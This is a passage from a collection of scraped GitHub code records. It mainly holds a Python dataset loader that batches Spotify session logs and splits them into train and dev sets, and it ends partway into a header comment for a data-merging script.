+{"seq_id":"34584706809","text":"import numpy as np\nfrom data_parser import DataParser\nimport os\nfrom dataset_description import *\n\n\nclass SpotifyDataset:\n SKIP = 1\n TRACK_FEATURES = 29\n SESSION_FEATURES = 18\n SESSION_PREDICTABLE_FEATURES = 16\n\n class Dataset:\n def __init__(self, data, shuffle_batches, seed=42):\n self._data = data\n self._size = len(self._data[DatasetDescription.SF_FIRST_HALF])\n self._shuffler = np.random.RandomState(seed) if shuffle_batches else None\n\n @property\n def data(self):\n return self._data\n\n @property\n def size(self):\n return self._size\n\n def batches(self, size=None):\n permutation = self._shuffler.permutation(self._size) if self._shuffler else np.arange(self._size)\n while len(permutation):\n batch_size = min(size or np.inf, len(permutation))\n batch_perm = permutation[:batch_size]\n permutation = permutation[batch_size:]\n\n batch = {}\n for key in self._data:\n batch[key] = np.array(self._data[key])[batch_perm]\n yield batch\n\n def __init__(self, log_folder, tf_folder, tf_preprocessor):\n self.parser = DataParser(tf_folder, tf_preprocessor)\n self.log_folder = log_folder\n\n def _split_to_dev_train(self, data, percents):\n train_sf_first, dev_sf_first = self._split_to_percents(data[DatasetDescription.SF_FIRST_HALF], percents)\n train_sf_second, dev_sf_second = self._split_to_percents(data[DatasetDescription.SF_SECOND_HALF], percents)\n train_tf_first, dev_tf_first = self._split_to_percents(data[DatasetDescription.TF_FIRST_HALF], percents)\n train_tf_second, dev_tf_second = self._split_to_percents(data[DatasetDescription.TF_SECOND_HALF], percents)\n train_sk, dev_sk = self._split_to_percents(data[DatasetDescription.SKIPS], percents)\n train_data = {DatasetDescription.SF_FIRST_HALF: train_sf_first,\n DatasetDescription.SF_SECOND_HALF: train_sf_second,\n DatasetDescription.TF_FIRST_HALF: train_tf_first,\n DatasetDescription.TF_SECOND_HALF: train_tf_second,\n DatasetDescription.SKIPS: train_sk}\n dev_data = {DatasetDescription.SF_FIRST_HALF: dev_sf_first,\n DatasetDescription.SF_SECOND_HALF: dev_sf_second,\n DatasetDescription.TF_FIRST_HALF: dev_tf_first,\n DatasetDescription.TF_SECOND_HALF: dev_tf_second,\n DatasetDescription.SKIPS: dev_sk}\n return self.Dataset(train_data, shuffle_batches=True), self.Dataset(dev_data, shuffle_batches=False)\n\n def _split_to_percents(self, data, percents):\n length = np.shape(data)[0]\n fraction = int(length * percents / 100.0)\n return data[:fraction], data[fraction:]\n\n def get_dataset(self, split_to_train_dev=True, split_percents=95):\n session_file_count = len([f for f in os.listdir(self.log_folder) if f.endswith('.csv')])\n processed = 0\n for filename in os.listdir(self.log_folder):\n if filename.endswith('.csv'):\n percents = processed * 100.0 / session_file_count\n if percents > 105:\n break\n if percents <= -1:\n processed += 1\n continue\n print(\"[Spotify Dataset]: \" + str(percents) + \" % of logs already processed.\")\n print(\"[Spotify Dataset]: Creating dataset from session log file \" + filename)\n data = self.parser.get_data_from_file(os.path.join(self.log_folder, filename))\n processed += 1\n if split_to_train_dev:\n train, dev = self._split_to_dev_train(data, split_percents)\n yield train, dev\n else:\n yield self.Dataset(data, shuffle_batches=False)\n","repo_name":"AzGhort/skip_prediction","sub_path":"spotify_dataset.py","file_name":"spotify_dataset.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17067814258","text":"#! /usr/bin/python3\n\n# Merge Processed data file with severities\n# Sort processed data first by year/month (month not rn) then lat then long\n# combine matching lat-long per year and average severities at each location\n#\n# 4 command line args